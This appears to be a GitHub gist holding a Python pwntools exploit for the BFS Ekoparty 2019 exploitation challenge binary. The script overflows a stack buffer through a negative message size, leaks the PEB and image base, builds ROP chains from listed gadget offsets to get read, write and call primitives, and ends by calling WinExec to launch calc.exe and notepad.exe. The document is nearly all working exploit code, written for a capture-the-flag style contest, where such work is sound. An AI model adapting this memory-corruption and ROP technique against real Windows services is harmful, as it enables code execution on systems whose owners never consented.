Created
September 13, 2019 18:49
-
-
Save segura2010/e3f7ee338f07a9be11a221f2c531de44 to your computer and use it in GitHub Desktop.
BFS Ekoparty Exploitation Challenge 2019 - https://labs.bluefrostsecurity.de/blog/2019/09/07/bfs-ekoparty-2019-exploitation-challenge/
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
IP = 'localhost' | |
PORT = 54321 | |
s = None | |
def send_msg(msg, size): | |
s = remote(IP, PORT) | |
COOKIE = "Eko2019\x00" | |
s.send(COOKIE + pack(size, 64, 'little', True)) | |
s.send(msg) | |
r = None | |
try: | |
r = s.recv() | |
except: | |
pass | |
s.close() | |
return r | |
def read_value(addr): | |
payload = "\x90"*0x200 # buffer | |
payload += p64(0x3e) # overwrite instruction index local var (push mov..) | |
payload += p64(addr) # overwrite first arg to overwritten func | |
return u64(send_msg(payload, -0x210)) | |
def call_addr(addr): | |
payload = "\x90"*0x200 # buffer | |
payload += p64(0x51) # overwrite instruction index local var (push rcx) | |
payload += p64(addr) # overwrite first arg to overwritten func | |
return u64(send_msg(payload, -0x210)) | |
def call_addr_param(base, addr, param): | |
# (We will use the overwritten function to start our ROP, using push rcx; to then ret to our first gadget) | |
# We need to clean the stack (104 bytes of "trash" until our controlled packet buffer in the stack) | |
# 0x0000000140007880 : add rsp, 0x60 ; pop rdi ; ret ; With this gadget we clean the stack and we are at the start of our message packet | |
# 0x0000000140006409 : pop rbp ; pop rbx ; ret ; with this we control RBX (one more pop just for padding..) | |
# 0x0000000140001167 : pop rax ; ret ; with this we control RAX | |
# 0x000000014000284a : mov rcx, rbx ; call rax | |
# gadgets | |
CLEAN_104BYTES = base + 0x7880 | |
PRAX = base + 0x1167 | |
PRDI = base + 0x1991 | |
PPRBX = base + 0x6409 | |
WRITE_RDI = base + 0x323c | |
CLEAN_1e8bytes = base + 0x109a | |
PPPR = base + 0x6408 | |
M_RCX_RBX = base + 0x284a | |
payload = "" | |
# ROP | |
payload += p64(PPRBX) | |
payload += p64(0x0) # padding | |
payload += p64(param) | |
payload += p64(PRAX) | |
payload += p64(CLEAN_1e8bytes) # RAX value which will be used for CALL RAX ; it should be the CLEAN GADGET | |
payload += p64(M_RCX_RBX) | |
padding = 0x200 - len(payload) | |
payload += "\x90"*padding | |
payload += p64(0x51) # overwrite instruction index local var (push rcx; the we will ret to this to start the ROP gadget) | |
payload += p64(CLEAN_104BYTES) # overwrite first arg to overwritten func | |
payload += p64(PPPR) # CLEAN_1e8bytes RET (we need 3 more pops to clean the stack and then return to MAIN) | |
payload += p64(0x0) | |
payload += p64(0x0) | |
payload += p64(0x0) | |
payload += p64(addr) # RET to the function I want to call; then it will ret to MAIN | |
return send_msg(payload, -0x210) | |
def write_value(base, addr, value): | |
# (We will use the overwritten function to start our ROP, using push rcx; to then ret to our first gadget) | |
# We need to clean the stack (104 bytes of "trash" until our controlled packet buffer in the stack) | |
# 0x0000000140007880 : add rsp, 0x60 ; pop rdi ; ret ; With this gadget we clean the stack and we are at the start of our message packet | |
# 0x0000000140001167 : pop rax ; ret ; with this we control RAX | |
# 0x0000000140001991 : pop rdi ; ret ; With this we control RDI | |
# 0x00000001400016f9 : pop rbx ; ret ; with this we control RBX (start in pop rbx) | |
# 0x000000014000323c : mov qword ptr [rdi], rax ; call rbx ; with this we write on RDI ptr, and the we call RBX (RBX MUST BE ANOTHER GADGET TO CLEAN THE STACK AND RETURN TO MAIN) | |
# 0x000000014000109a : add rsp, 0x1e8 ; ret ; CLEAN | |
# 0x0000000140006408 : pop rsi ; pop rbp ; pop rbx ; ret ; CLEAN AND RET TO MAIN | |
# gadgets | |
CLEAN_104BYTES = base + 0x7880 | |
PRAX = base + 0x1167 | |
PRDI = base + 0x1991 | |
PRBX = base + 0x16f9 | |
WRITE_RDI = base + 0x323c | |
CLEAN_1e8bytes = base + 0x109a | |
PPPR = base + 0x6408 | |
payload = "" | |
# ROP | |
payload += p64(PRAX) | |
payload += p64(value) | |
payload += p64(PRDI) | |
payload += p64(addr) | |
payload += p64(PRBX) | |
payload += p64(CLEAN_1e8bytes) # RBX value which will be used for call rbx | |
payload += p64(WRITE_RDI) | |
padding = 0x200 - len(payload) | |
payload += "\x90"*padding | |
payload += p64(0x51) # overwrite instruction index local var (push rcx; the we will ret to this to start the ROP gadget) | |
payload += p64(CLEAN_104BYTES) # overwrite first arg to overwritten func | |
payload += p64(0x0) # padding.. | |
payload += p64(PPPR) # CLEAN_1e8bytes RET (we need 3 more pops to clean the stack and then return to MAIN) | |
return send_msg(payload, -0x210) | |
def just_send_index(index): | |
payload = "\x90"*0x200 | |
payload += pack(index, 64, 'little', True) | |
return u64(send_msg(payload, -0x210)) | |
def send_index_and_rcx(index, rcx): | |
payload = "\x90"*0x200 | |
payload += pack(index, 64, 'little', True) | |
payload += p64(rcx) | |
return u64(send_msg(payload, -0x210)) | |
def main(): | |
#less_significant_bits = just_send_index(0xb1) # overwrite instruction index local var (mov cl, 0x48) | |
#print("Less significant bytes: {}".format(hex(less_significant_bits))) | |
PEB = send_index_and_rcx(0x65, 0x60) # mov rax,QWORD PTR gs:[rcx] ; leak PEB address | |
print("PEB: {}".format(hex(PEB))) | |
eko_base = read_value(PEB + 0x10) # mov rax,QWORD PTR [rcx] ; leak base address saved in PEB+0x10 | |
#eko_base = (less_significant_bits - 0xe510) + 0x7ff700000000 | |
WinExec_offset = 0x9010 | |
GetEnvironmentStringsW_offset = 0x90C8 | |
print("eko_text_base: {}".format(hex(eko_base))) | |
WinExec = read_value(eko_base + WinExec_offset) | |
print("WinExec: {}".format(hex(WinExec))) | |
mybuff = eko_base + 0xe510 | |
write_value(eko_base, mybuff, u64("calc.exe")) | |
write_value(eko_base, mybuff+8, 0x0) | |
call_addr_param(eko_base, WinExec, mybuff) | |
write_value(eko_base, mybuff, u64("notepad.")) | |
write_value(eko_base, mybuff+8, u64("exe"+"\x00"*5)) | |
call_addr_param(eko_base, WinExec, mybuff) | |
main() | |
''' | |
When the overwritten function is called I have: | |
r8 = some place in the stack | |
r9 = some place in the stack = RSP-0x5f (95) | |
Statck Cookie is at offset: 0xC240 | |
RCX (first arg) = 0xD4E0 (offset) | |
Array of instructions only change the first byte: | |
XX 48 B8 01 C3 C3 C3 C3 | |
''' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment